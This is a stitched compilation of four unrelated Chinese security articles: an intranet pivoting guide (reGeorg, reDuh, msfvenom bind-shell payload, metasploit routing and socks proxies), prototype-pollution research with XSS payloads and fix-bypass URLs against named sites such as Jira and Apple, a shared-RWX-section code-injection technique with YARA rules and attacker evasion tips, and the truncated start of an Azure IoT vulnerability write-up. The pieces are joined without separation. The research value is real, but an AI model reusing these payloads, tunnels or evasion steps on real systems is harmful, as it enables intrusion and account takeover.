3k0d2vatlyo14595.png

Neo-reGeorg (加密)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

bmdimouurxm14597.png

 

 qvua1jgu3vv14602.png

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

dleyr1ugkn314606.png

reduh (单端口转发)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

wsvyfjec0do14609.png

 

 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe#--platform <platform> 指定payload的目标平台#-e, --encoder <encoder> 指定需要使用的编码器#-i, --iterations <count> 指定payload的编码次数

zgmlpmc2eef14616.png

 上传payload到目标服务器,并执行。

bzdhw1jdmgz14620.png

metasploit是监听转发后的地址与端口。

sudo msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/shell_bind_tcpmsf5 exploit(multi/handler) > set rhost 127.0.0.1msf5 exploit(multi/handler) > set lport 5353msf5 exploit(multi/handler) > run -j

monw0bnpwgg14624.png

java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx telnet 127.0.0.1 1010>>[createTunnel]5353:127.0.0.1:53

vmjxjhpvx4j14630.png

 

 可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 10080msf5 auxiliary(server/socks4a) > run -j

frmkpftajtq14634.png

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

sehmxxu0plq14642.png

隔离网络(多级代理)

 内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

(具体,参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

udxcgscukts14647.png

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

odyy4l0quk514649.png

 

 设置代理规则,选择对应代理。

2bc4xk1lpfw14653.png

 

 二层代理成功,内网隔离机445探测开放。

xqwrt25isai14655.png

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

e4z2sn2dkjk14657.png

 

 联动metasploit,ms17_010探测,可以看到代理链的传输过程。

iqlciihlxqb14662.png

 

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

msf5 exploit(multi/handler) > sessions 1meterpreter > run get_local_subnetsmeterpreter > run autoroute -pmeterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -pmeterpreter > background

2oiersnnl1o14667.png

 

 上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1msf5 exploit(multi/handler) > route

mr5cdxcltcp14672.png

 

 可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 1080msf5 auxiliary(server/socks4a) > run -j

然后打开/etc/proxychains.conf

5gwfniooxf214674.png



原文链接: https://www.cnblogs.com/yokan/p/14057794.html

原型污染是一個有趣的漏洞,無論是服務器端還是客戶端。基於應用邏輯,原型污染會導致其他漏洞。例如,posix 引入了一種有趣的技術來在模板引擎中實現RCE,MichałBentkowski 展示了繞過客戶端HTML 清理程序,而William Bowling 使用原型污染在HackerOne 上發現了一個反射型XSS。從RCE 到SQL,任何漏洞都可能與javascript 應用程序中的原型污染有關。

介紹在這項研究中,我們的目標很簡單,即掃描所有漏洞披露程序的原型污染,並找到實現XSS 的腳本小工具。這篇技術文章將涉及我們創建的工具、面臨的挑戰以及整個過程中的案例研究。

我們對Web 應用程序感興趣的兩種情況是檢查它是否容易受到原型污染。

情況1在第一種情況下,我們要檢查應用程序是否正在解析查詢/哈希參數,並檢查它是否在過程中污染原型。我們發現80% 的嵌套參數解析器容易受到原型污染的影響。

讓我們假設Web 應用程序使用canjs-deparam 庫來解析查詢參數。正如你在下面的代碼中看到的,它創建了一個空對象並添加了鍵值對。顯然,如果我們請求的URL 是https://victim.com/#a=b__proto__[admin]=1,這會導致原型污染。

如你所想,通過在location.hash 和location.search 中迭代不同的原型污染有效負載,很容易識別應用程序是否具有易受攻擊的原型污染解析器。

以下是查詢字符串的不同變體,這些變體在解析時可能會導致污染。

4.png

SeleniumBot為了實現自動化,我們編寫了一個seleniumBot,它運行在一個巨大的子域數據庫上,並檢查應用程序是否存在漏洞。

瀏覽器擴展Bot的一個漏洞是我們無法掃描應用程序的目錄和授權終端,因為數據庫變得非常大,掃描需要幾天時間,且大多數程序禁止掃描。為了解決這個漏洞,我們編寫了一個chrome 擴展,其運行邏輯與Bot相同,但它會在用戶訪問chrome 中的特定終端時進行掃描。使用擴展程序,我們可以隨便使用chrome,並在後台掃描原型污染,你可以在這裡找到插件。

情況2在這種情況下,我們要檢查是否有任何功能在客戶端的用戶輸入或某些數據/響應處理導致原型污染,大多數情況下這會導致self-XSS,因為攻擊者無法控制輸入如情況1 中的來自該位置輸入。但它值得掃描,大多數時候self-XSS可以轉換為reflection-XSS。

幸運的是,在這種情況下,自動化有點困難,CodeQL 使事情變得更容易。我們只選擇了收入最高的頂級程序,並轉儲了所有的javascript 文件,創建了一個CodeQL 數據庫,並掃描了導致原型污染的模式。

這樣,我們就能夠找到一個用戶控制的JSON,他可以與另一個導致原型污染的應用程序合併。

識別易受攻擊的庫一旦Bot識別出易受攻擊的應用程序,我們的下一個任務是識別易受攻擊的庫和原型被污染的確切行,並將結果存儲在數據庫中。為了識別,我們使用了幾種不同的技術。

如果應用程序並不復雜,在Chrome 開發者工具中搜索諸如location.hash/decodeURIComponent/location.search 之類的關鍵字將導致找到易受攻擊的實現的確切功能。

在Firefox 中阻止JS 資源請求在Firefox 開發者工具網絡活動中有一個很好的選項叫做Block URL,所以為了找到負責原型污染的js 資源,我們阻止URL 並檢查污染的屬性是否未定義。

setter 上的調試器斷點這種技術比其他技術更簡單,當屬性設置為object .prototype時,我們可以設置一個斷點。

7.png

查找腳本小工具什麼是腳本小工具?在某個屬性被污染後,是否有應用程序邏輯或函數會導致Javascript執行?

讓我們看一個在SwiftType Search庫中找到的腳本小工具的簡單示例。實現XSS的有效負載是https://example.com/#__proto__[xxx]=alert(1)。

下面是一段代碼(腳本小工具)負責彈出警報,$.each 迭代this._userServerConfiguration.install.hooks 對像以及原型上的屬性,這導致我們被污染的屬性xxx 被評估。

8.png

基於這個應用程序,我們使用了不同的技術來查找腳本小工具。

關鍵字搜索和源代碼審查如果應用比較簡單,我們可以搜索srcdoc/innerHTML/iframe/createElement 等關鍵字,查看源代碼,檢查是否導致javascript 執行。有時,提到的技術可能根本找不到小工具。在這種情況下,純源代碼審查會顯示一些不錯的小工具,如下例所示。

BlackFan 通過源代碼審查在jQuery 中發現了這個很酷的小工具。

小工具9.png

這是一段小工具的代碼:

10.png

SecurityMB 的pollute.js我們已經圍繞SecurityMB 的pollute.js 編寫了一個burp 擴展,它將所有JS 資源替換為由pollute.js 生成的修改版本。此外,我們修改了pollute.js,使其僅在某個屬性受到污染時才記錄信息。

pollute.js 的基本思想是它通過在所有屬性訪問周圍添加調試函數來檢測代碼,該函數會記錄訪問Object.prototype 屬性時的確切訪問行。

檢查下面的插件。

注意:插件並不完美,tmp.js 可能會被覆蓋,最好使用一個隨機名稱。

Filedescriptor 的不受信任類型擴展不受信任類型通過濫用可信類型來記錄DOM sink,我們檢查這些DOM sinks是否有任何可能被污染的屬性,進而導致XSS。

如果你在安裝了插件的情況下訪問https://msrkp.github.io/,你會注意到jQuery 中的一個innerHTML sink。其中,wrapMap[tag] 是未定義的,這意味著我們可以用數組污染wrapMap 的“li”屬性,並且第一個或第二個元素將被注入到頁面中。

通過污染“li”屬性導致XSS類似於文件描述符的擴展securitymb的pollution .js記錄類似的堆棧跟踪,我們必須檢查源代碼,並檢查它是否導致手動XSS。

一旦找到這個小工具,我們就向相應的程序報告這個漏洞。

將易受攻擊的庫和小工具存儲在數據庫中我們計劃將所有易受攻擊的小工具和庫存儲在數據庫中。

在構建了易受攻擊的庫和腳本、小工具的數據庫後,可以使用它來促進Prototype Pollution 的搜索和利用。

例如,在某些情況下,JavaScript 代碼中存在易受攻擊的庫,但會在特定條件下執行。為了覆蓋這些變體,可以使用正則表達式檢測庫。由於代碼可以通過縮小修改並組裝成一個大的JS 文件,所以搜索正則表達式不應太嚴格,應該使用在縮小過程中不改變的片段。例如,你可以搜索在查詢字符串處理中使用的正則表達式。

為此,構建了一個規則庫,可以通過使用Burp 的“漏洞消息檢查”或“軟件版本報告器”擴展分析HTTP 響應來檢測被動模式下的易受攻擊的庫。

chrome 擴展中添加了相同的功能,它使用數據庫中提到的導致污染的模式搜索js 資源。

Web 應用程序中的被動搜索記錄jQuery 查詢對象易受攻擊的庫。鏈接到burp 插件:https://github.com/BlackFan/cspp-tools/tree/main/match_rules。

示例研究案例研究1:CodeQL這是我最喜歡的一個漏洞,有一次我試圖使用插件和selenium bot 找到污染。但他們都沒有顯示出任何有趣的結果。所以,我想到了使用CodeQL來掃描這個漏洞,因為程序的範圍非常大,而且有很多JS密集型的應用程序。

於是我只能掃描所有有趣的應用程序並將JS 文件下載到一個文件夾中。然後,我創建了一個CodeQL 數據庫,並在https://github.com/github/codeql 上提供的查詢的幫助下編寫了一個查詢,但我面臨的漏洞是我必須為每個庫的基本deparam 查詢編寫一個易受攻擊的代碼模式,這是不可行的。來自GHSecurity 實驗室的@asgerf 提出了一個通用查詢,其中RemoteFlowSource 或location.{hash,search} 作為源,不安全的屬性分配作為Sink。此查詢的缺點是應該調用解析器函數https://www.google.com/url?q=https%3A%2F%2Fgithub.com%2Fgithub%2Fsecuritylab%2Fdiscussions%2F209%23discussioncomment-145109sa=Dsntz=1usg=AFQjCNFDSqqg5OWJTbhafhqaa4OR2chcjg。無論如何,我在我創建的JS 數據庫上運行這些查詢,並希望找到易受攻擊的合併調用或位置解析器。

令我驚訝的是,它顯示了下載的javascript 文件中存在易受攻擊的合併的結果。然後一位研究人員和我開始努力利用它。由於位置解析中不存在污染,我們必須找出哪些函數污染了原型。

1、污染原型

經過兩天的努力,我們能夠通過將JSON 有效負載發送到保存有效負載的某個終端來污染原型,當客戶端收到相同的有效負載時,原型就會受到污染。

2、尋找小工具

我們花了兩天多的時間才找到合適的小工具,在一個Web Worker中發現了一個javascript代碼的執行。

15.png

由於Web Worker 不能直接操作DOM,所以這個XSS 的影響非常低。經過大量的源代碼審查,我們能夠找到合適的小工具。

3、帳戶接管權限

你可能已經註意到這是一個self XSS,我們必須展示其影響。又過了一天,我們通過在iframes/windows 中打開敏感頁面來升級self XSS 以接管帳戶,並使用SAML 登錄我們的帳戶並讀取敏感頁面中的數據以接管帳戶。

案例研究2:Jira Service Management 4.16.0 上的原型污染我們使用selenium bot 掃描了HackerOne、Bugcrowd 和Intigriti 中的所有私有和公共程序。有許多具有位置解析功能的應用程序會導致污染,而且大多數情況下漏洞在於第三方分析服務或使用易受攻擊的庫。我們注意到一個易受攻擊的網站,其域為jira.random.com/servicedesk/customer/user/requests?__proto__.x=11111。出於好奇,我們尋找了各個公司的Jira 服務管理。

污染的根本原因:Jira服務管理使用的骨干查詢參數容易受到原型污染的影響。

XSS腳本小工具:Posix想出了下面這個小工具,它可以在所有Jira網站上使用。

Gadget:__proto__.isFresh=xxx__proto__.onmousemove=alert(1)//__proto__.onmousemove=1

腳本:

16.png

下面是使用文件描述符的不受信任類型找到的其他一些小工具。

17.png

jira.mozilla.com 上的XSS

其中一個使用Jira的Mozilla域也有同樣的漏洞,我們把這個漏洞提交給了Mozilla,得到了2000美元的獎勵。

URL:

18.png

我們最初認為這是用戶安裝的模塊漏洞,但後來意識到該漏洞存在於所有自託管的4.16.0 版以下的Jira網站中。

Jira 通過將__proto__, constructor和prototype項列入黑名單來修復該漏洞,但是如果你清楚地註意到_setParamValue 函數,字符[] 將從項中刪除,這意味著我們可以使用像__pro[]to__ 這樣的項繞過修復。

19.png

繞過:https://local:8080/servicedesk/customer/user/signup?__pro[]to__.div=1__pro[]to__.div=%3Cimg%20src%20onerror=alert(document.domain)%3E__pro[]to__.div=1

案例研究3:使用Rahul 和Harsh 的chrome 擴展程序發現apple.com 上的XSS1、發現漏洞

Rahul 和Harsh最終確定了創建可用於這些終端的chrome 擴展。他們編寫了一個基本的chrome 擴展,基本上用原型污染有效載荷更改location.search/location.hash 並檢查原型是否被污染。

當時,他們已經在研究蘋果的計劃。所以,他們做的第一件事就是開始瀏覽apple.com的網頁來測試這個插件。該擴展程序在https://www.apple.com/shop/buy-watch/apple-watch 彈出了存在原型污染的通知。有那麼一瞬間,我們都認為這是一個誤報,但原型確實被污染了。

2、尋找小工具

在BlackFan 的幫助下,我們很快找到了一個小工具。最終的URL 是,https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image__proto__[onerror]=alert(1)

污染位於蘋果用來解析位置的canJS-deparam 庫中。

最初,蘋果通過檢查__proto__ 是否在屬性中來修復該漏洞,因為你可能已經知道這可以使用[constructor][prototype] 繞過,因此最終繞過URL 將是https://www.apple.com/shop /buy-watch/apple-watch?a[constructor][prototype]=imagea[constructor][prototype][onerror]=alert(1)。

我們提交了繞過修復,蘋果通過完全刪除位置解析修復了這個漏洞。

案例研究4:HubSpot 分析HubSpot 容易受到原型污染的影響,它在解析查詢字符串(location.search)的js 文件中使用了deparam。 HubSpot 被超過121000 家公司使用。我們發現,由於HubSpot使用的第三方分析,許多應用程序容易受到XSS的攻擊。

1、第一種繞過方法

Hubspot通過將__proto__ key列入黑名單來修復這個漏洞,因此它可以被構造函數[prototype][taint]=contamination繞過,我們報告了這個繞過,他們通過創建一個空Object來修復這個繞過。

20.png

2、第二種繞過方法:通過Nikita Stupin 繞過

Nikita Stupin 使用以下有效載荷找到了一個很酷的繞過方法:

?__proto__=0[taint]=polluted

如果__proto_, constructor, prototype 存在於項中,他們通過將小寫更改為大寫來修復繞過。

22.png

案例研究5:Masato Kinugawa 的細分分析污染Segment Analytics 使用容易受到原型污染的組件查詢字符串。這是一個有趣的原型污染,只有當屬性為Number 時才會發生污染。

23.png

這是造成污染的代碼。

24.png

找到一個只有數字污染的小工具是非常困難的。我們發現許多使用組件查詢字符串或分段分析的漏洞賞金網站仍然容易受到污染,但沒有小工具,就沒有任何影響。我們無法在任何易受此漏洞影響的應用程序中實現XSS。

Trello 就是這個漏洞的一個例子,你可以注意到Object.prototype[123] 被污染了:https://trello.com/?__proto__[123]=xx

在knockout.js中,securityymb找到了一個使用數字的小工具,如果易受攻擊的網站使用knockout.js,那你就太幸運了。

25.png

緩解措施1.在合併兩個對像或解析位置並將其轉換為對象時,請確保使用包含以下__proto__、prototype、constructor 的屬性的拒絕列表,確保在將屬性添加到對象之前進行拒絕列表檢查,並且不要像Jira 那樣犯錯誤。

2.如果應用程序是Node.js,你可以使用命令行選項--disable-proto 禁用Object.prototype.__proto__ 屬性。

在本文中,我們將探討如何濫用某些特殊的PE節(PE Sections),在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

跨進程橫向移動是惡意軟件中非常常見的一種技術,以便在系統間進行傳播。近年來,微軟已經通過“Microsoft-Windows-Threat-Intelligence”ETW提供程序增加了安全遙測功能,以對抗這種威脅。

當這種新增的遙測功能與現有的方法(如ObRegisterCallbacks)結合在一起後,攻擊者在進行橫向移動過程中,相關的惡意操作很難逃過內核可見遙測的法眼。在本文中,我們將探討如何濫用某些特殊的PE節,在無需直接訪問進程的情況下將任意shellcode植入遠程進程的內存中。

背景知識現有的橫向移動方法,通常都涉及危險的API調用,如OpenProcess,以獲得進程句柄,並伴有與內存相關的操作,如VirtualAlloc、VirtualProtect或WriteProcessMemory。近年來,針對這些操作的檢測有所增加。

例如,在舊版本的Windows上,內核驅動程序可見的唯一跨進程API調用,就是ObRegisterCallbacks,它常用於創建進程和線程句柄。

微軟威脅情報ETW提供程序引入的可見性已經擴展到涵蓋以下操作:

1、讀/寫虛擬內存調用(EtwTiLogReadWriteVm);

2、可執行內存的分配(EtwTiLogAllocExecVm);

3、將內存保護屬性改為可執行文件(EtwTiLogProtectExecVm);

4、映射可執行節(EtwTiLogMapExecView)。

進入另一個進程上下文的其他方法通常與其他檢測向量一起出現。例如,橫向移動的另一種方法可能涉及基於磁盤的攻擊,如代理Dll注入。這類攻擊的問題在於,它們通常需要將惡意代碼寫入磁盤,這對於基於內核的防禦解決方案是可見的。

由於已知的跨進程移動方法需要用到這些可見的操作,因此,要想打敗防御者可用的遙測技術,就必須超越現有的方法。

發現過程最近,我研究了在不影響PE格式二進製文件可用性的條件下,可以將這種二進製文件破壞到哪種程度。例如,您是否可以將已知的惡意工具(如Mimikatz)破壞到這樣一種程度:既不會影響其可操作性,同時,還能讓反病毒軟件中內置的映像解析器無法正常對其進行解析?

與Linux中的ELF可執行文件類似,Windows PE映像也是由“節”組成的。例如,代碼通常存儲在名為.text的節中,可變數據可以在.data節中找到,而只讀數據通常存放到.rdata節中。但是,操作系統是如何知道哪些節包含代碼,或是可寫的呢?每個節都具有相應的“characteristics(特徵)”,用於記錄這段內存的相關信息。

對於PE節來說,單單記錄在冊的特徵就超過35個。其中,最常見的特徵包括IMAGE_SCN_MEM_EXECUTE、IMAGE_SCN_MEM_READ和IMAGE_SCN_MEM_WRITE,它們分別用於定義一個節是否為可執行、可讀和/或可寫的。然而,這些只是PE節的各種特徵中的一小部分而已。

當試圖破壞PE節頭時,一個特定的標誌引起了我的注意:

1.png

“IMAGE_SCN_MEM_SHARED”特徵

根據Microsoft的文檔,IMAGE_SCN_MEM_SHARED標誌表示“該節可以在內存中共享”。但是,這到底是什麼意思呢?在網絡中沒有找到太多關於該標誌的說明文檔,但事實證明,如果啟用該標誌,該節的內存將在加載了該映像的所有進程之間共享。例如,如果進程A和B加載一個PE映像,其中包含一個“共享”(並且可寫)的節,那麼進程A中該節的內存中的任何變化都將反映在進程B中。

與我們將在本文中討論的理論密切相關的一篇文獻是“DLL shared sections: a ghost of the past”。在這篇文章中,Coldwind探討了由具有IMAGE_SCN_MEM_SHARED特徵的PE節的二進製文件所帶來的潛在風險。

Coldwind解釋說,這些PE映像帶來的風險“是一個古老而眾所周知的安全問題”,並引用了微軟在2004年發表的一篇文章,題為“ Why shared sections are a security hole”。該文章只考察了“讀/寫共享節”和“只讀共享節”所構成的威脅,而沒有討論第三種可能,即“讀/寫/執行共享節”。

利用共享節儘管研究人員和微軟本身知道共享節的一般風險已經有很長一段時間了,但還沒有文獻對可讀、可寫和可執行(RWX-S)的共享節的潛在濫用進行過深入介紹。

RWX-S二進製文件具有極大的進攻潛力,這是因為:如果您可以使遠程進程加載指定的RWX-S二進製文件,那麼您就在遠程進程中獲得了一個可執行的內存頁,即使您對這個內存頁進行修改,基於內核的防禦解決方案也是看不到的。為了注入代碼,攻擊者可以將RWX-S二進製文件加載到自己的進程中,並在內存中使用他們想要的任何惡意代碼編輯該節,然後將RWX-S二進製文件加載到遠程進程中,這時,他們自己進程中的修改也會反映在受害者進程中。

加載RWX-S二進製文件本身的操作對防禦性解決方案仍然是可見的,但正如我們將在後面的部分中討論的那樣,對於在惡意上下文之外使用的合法RWX-S二進製文件,實際上有很多選擇的餘地。

使用這種技術時,有幾點需要注意:

1、攻擊者必須能夠將RWX-S二進製文件加載到遠程進程中。不過,該二進製文件不需要包含任何惡意代碼,但是,必須有一個PE節是RWX-S的。

2、如果RWX-S二進製文件是用於x86架構的,則x64進程內的LoadLibrary調用將失敗。不過,我們仍然可以通過打開文件、創建具有屬性SEC_IMAGE的節並映射節的視圖,在x64進程中手動映射x86二進製文件。

3、RWX-S二進製文件不在會話之間共享。 RWX-S二進製文件由同一會話中的非特權進程和特權進程共享。

4、對共享節的修改不會寫入磁盤。例如,由ReadFile返回的緩衝區,以及映射具有屬性SEC_COMMIT的映像時所返回的緩衝區,都不包含對共享節的任何修改。只有當二進製文件映射為SEC_IMAGE時,才會存在這些更改。這也意味著對共享節的任何修改都不會破壞磁盤上的驗證碼簽名。

5、除非所使用的RWX-S二進製文件的入口點位於共享可執行節中,否則攻擊者必須能夠在遠程進程中的任意地址執行代碼。這不需要直接的進程訪問。例如,SetWindowsHookEx可用於在沒有直接進程訪問權限的情況下執行模塊中的任意指針。

接下來,我們將為讀者介紹該理論的實際實現,以及RWX-S宿主二進製文件的在野普及情況。

通過修改入口點以獲得執行權限在某些情況下,可以繞過攻擊者必須能夠在遠程進程中執行任意指針的限制。

如果RWX-S宿主二進製文件的入口點位於RWX-S節內,則攻擊者不需要特殊的執行方法。

相反,在將RWX-S宿主二進製文件加載到遠程進程之前,攻擊者可以修改位於映像入口點的內存,使其指向指定的shellcode。當受害進程加載RWX-S宿主二進製文件並試圖執行入口點時,攻擊者的shellcode將被執行。

在野外尋找RWX-S二進製文件這項研究試圖解決的問題之一是“RWX-S的威脅有多廣泛?”。為了確定這項技術的流行程度,我使用了VirusTotal的Retrohunt功能,該功能允許用戶“使用……YARA規則掃描過去12個月中發送給VirusTotal的所有文件”。

為了在野外檢測無簽名的RWX-S二進製文件,我們創建了一個自定義YARA規則,專門用於檢查PE映像中的RWX-S節:

import'pe'

ruleRWX_S_Search

{

meta:

description='DetectsRWX-Sbinaries.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

}這個規則所做的事情,就是枚舉二進製文件的PE節,並檢查它是否可讀、可寫、可執行和共享的。

當通過Retrohunt功能搜索這個規則時,會發現超過10,000個無簽名的二進製文件(當結果超過10,000個時,Retrohunt功能就會停止搜索)。

當再次搜索該規則時,可以稍微修改一下,以檢查PE映像對應的機器類型是否為MACHINE_AMD64機,這時,只找到了99個x64架構的RWX-S二進製文件。

這表明,在過去的12個月中,用於x64機器的RWX-S二進製文件相對不常見,同時還表明防禦性解決方案可能能夠過濾RWX-S二進製文件,而不會在受保護的機器上產生明顯的噪聲。

為了檢測已簽名的RWX-S二進製文件,只需對上面的YARA規則稍加修改,以包含對authenticode簽名的檢查。

import'pe'

ruleRWX_S_Signed_Search

{

meta:

description='DetectsRWX-Ssignedbinaries.Thisonlyverifiesthattheimagecontainsasignature,notthatitisvalid.'

author='BillDemirkapi'

condition:

foranyiin(0.pe.number_of_sections-1):(

(pe.sections[i].characteristicspe.SECTION_MEM_READ)and

(pe.sections[i].characteristicspe.SECTION_MEM_EXECUTE)and

(pe.sections[i].characteristicspe.SECTION_MEM_WRITE)and

(pe.sections[i].characteristicspe.SECTION_MEM_SHARED))

andpe.number_of_signatures0

}不幸的是,對於YARA規則,沒有一個簡單的方法來確定一個PE映像是否包含基於有效證書的authenticode簽名——所謂有效證書,指的是還未過期,或在證書有效期內用有效的時間戳簽名的。這意味著上面的YARA規則會包含一些具有無效簽名的二進製文件的誤報。由於存在誤報,上面的規則無法直接給出一個具有有效的authenticode簽名的RWX-S二進製文件清單。為了提取已簽名的二進製文件,我們編寫了一個簡單的Python腳本,下載低於檢測閾值的每個樣本並驗證每個二進製文件的簽名。

經過這一處理,發現了大約15個具有有效簽名的獨特二進製文件。正如未簽名的二進製文件檢查結果所示,在過去12個月裡,具有簽名的RWX-S二進製文件在野外並不是很多。此外,15個獨特的已簽名二進製文件中只有5個是用於x64機器。值得注意的是,雖然這個數字看起來很低,但使用已簽名的二進製文件只是為了方便,在大多數情況下肯定不是必需的。

濫用未簽名的RWX-S二進製文件修改未簽名的二進製文件鑑於諸如用戶模式代碼完整性之類的緩解措施尚未得到廣泛採用,因此,修改現有的未簽名二進製文件仍然是一種可行的方法。

若要通過未簽名的二進製文件來濫用RWX-S節,攻擊者可以:

1、查找要修改的、合法但未簽名的宿主DLL。

2、將未簽名的DLL讀入內存,並修改節的特徵,使其具有可讀、可寫、可執行和共享的特性。

3、在使用之前,將這個新修補的RWX-S宿主二進製文件寫入磁盤的某個位置。

以下是維護操作安全的幾點建議:

1、建議攻擊者不要修補磁盤上現有的二進製文件。例如,如果攻擊者只修改了現有二進製文件的節特徵,並將修改過的程序寫入磁盤上的同一路徑,則防禦解決方案可以檢測到RWX-S補丁已應用於現有的文件。因此,建議將修補後的二進製文件寫入磁盤上的不同位置。

2、建議攻擊者添加RWX-S以外的其他補丁程序,比如修改與節特徵相關的其他無意義的屬性,或者隨機修改部分代碼(重要的是這些修改看上去並不是惡意的)。這樣做,是為了迷惑對手。

使用現有的未簽名二進製文件實際上,攻擊者並不需要創建自定義的、應用過補丁的二進製文件。例如,使用上一節中的YARA規則,攻擊者可以使用任何可能用於合法應用程序的現有未簽名RWX-S二進製文件。

在內核中濫用已簽名的RWX-S二進製文件儘管在過去的12個月內只發現了15個有簽名的RWX-S二進製文件,但在利用可能需要已簽名模塊的進程時,具有有效的authenticode簽名這一事實可能非常有用。

搜索顯示的一個有趣的已簽名的RWX-S二進製文件是一個已簽名驅動程序。當試圖測試共享節是否可以從用戶模式複製到內核模式時,發現內存沒有共享,即使已經通過Session 0中的進程映射和修改了該映像。

小結儘管共享節的稀有性為防御者提供了獲得高保真遙測的獨特機會,但RWX-S二進製文件仍然是一種強大的方法,它戳破了關於跨進程內存分配和執行的常見臆想。圍繞這一技術,防御者面臨的主要挑戰是它在未簽名代碼中的普遍性。檢測RWX-S二進製文件可能相對簡單,但你如何判斷它是否被用於合法的應用程序呢?

SentinelLabs 在Microsoft Azure Defender for IoT 中發現了許多影響雲和本地客戶的嚴重漏洞。

未經身份驗證的攻擊者可以通過濫用Azure 密碼恢復機制中的漏洞遠程攻擊受Microsoft Azure Defender for IoT 保護的設備。

SentinelLabs的調查結果已於2021年6月主動報告給微軟,這些漏洞被定義為CVE-2021-42310、CVE-2021-42312、CVE-2021-37222、CVE-2021-42313 和CVE-2021-42311,且標記為嚴重,一些CVSS 得分甚至為10.0。

Microsoft 已發布安全更新以解決這些嚴重漏洞。鼓勵用戶立即採取行動。

目前,SentinelLabs 尚未發現野外濫用的證據。

技術細節運營技術(OT) 網絡雖然很流行,但是,其中許多技術在設計時並未考慮到安全性,並且無法通過傳統的IT 安全控制進行保護。與此同時,物聯網(IoT) 所連接的數十億設備大大增加了攻擊面和安全風險。

但供應商並沒有忽視這個問題,許多供應商都提供了安全解決方案以試圖解決這個問題,但如果安全解決方案本身就存在著漏洞怎麼辦?在本文中,我們將討論Microsoft Azure Defender for IoT 中發現的嚴重漏洞,這是Microsoft Azure 的IoT/OT 網絡安全產品。

首先,我們會介紹密碼重置機制中的漏洞如何被遠程攻擊者濫用以獲得未經授權的訪問。然後,我們討論了Defender for IoT 中的多個SQL 注入漏洞,這些漏洞允許遠程攻擊者無需身份驗證即可獲得訪問權限。最終,提出有關安全產品本身的安全性及其對易受攻擊部門安全態勢的整體影響的嚴重問題。

Microsoft Azure Defender for IoTMicrosoft Defender for IoT 是一種無代理網絡層安全性,用於持續的IoT/OT 資產發現、漏洞管理和威脅檢測,無需更改現有環境。它可以完全部署在本地或與Azure 連接的環境中。

1.jpg

該解決方案由兩個主要組件組成:

Microsoft Azure Defender For IoT Management——使SOC 團隊能夠管理和分析從多個傳感器聚合到單個儀表板的警報,並提供網絡安全狀況的整體視圖。

Microsoft Azure Defender For IoT Sensor – 發現並持續監控網絡設備。傳感器使用物聯網和OT 設備上的被動(無代理)監控來收集ICS 網絡流量。傳感器連接到SPAN 端口或網絡TAP,並立即開始對IoT 和OT 網絡流量執行DPI(深度數據包檢測)。

這兩個組件既可以安裝在專用設備上,也可以安裝在VM 上。

深度包檢測(DPI) 是通過負責分析網絡流量的Horizon 組件實現的。 Horizon 組件加載內置解析器,並且可以擴展以添加自定義網絡協議解析器。

物聯網Web 界面攻擊面防禦管理和傳感器共享大致相同的代碼庫,配置更改以適應設備的用途。這就是為什麼兩台設備都受到大多數相同漏洞影響的原因。

兩台設備上暴露的最吸引人的攻擊面是Web 界面,它允許以簡單的方式控制環境。該傳感器還暴露了另一個攻擊面,即解析網絡流量的DPI 服務。

安裝和配置管理和傳感器後,我們會看到Web 界面的登錄頁面。

2.jpg

相同的憑據也用作SSH 服務器的登錄憑據,這讓我們對系統的工作方式有了更多的了解。我們要做的第一件事是獲取資源以了解幕後發生的事情,那麼我們如何獲取這些資源呢?

Defender for IoT 是一款前身為CyberX 的產品,於2020 年被微軟收購。在“cyberx”用戶的主目錄中查找,我們發現了安裝腳本和一個包含系統加密文件的tar 壓縮文件。讀取腳本時,我們找到了解密壓縮文件的命令。簡化版如下:

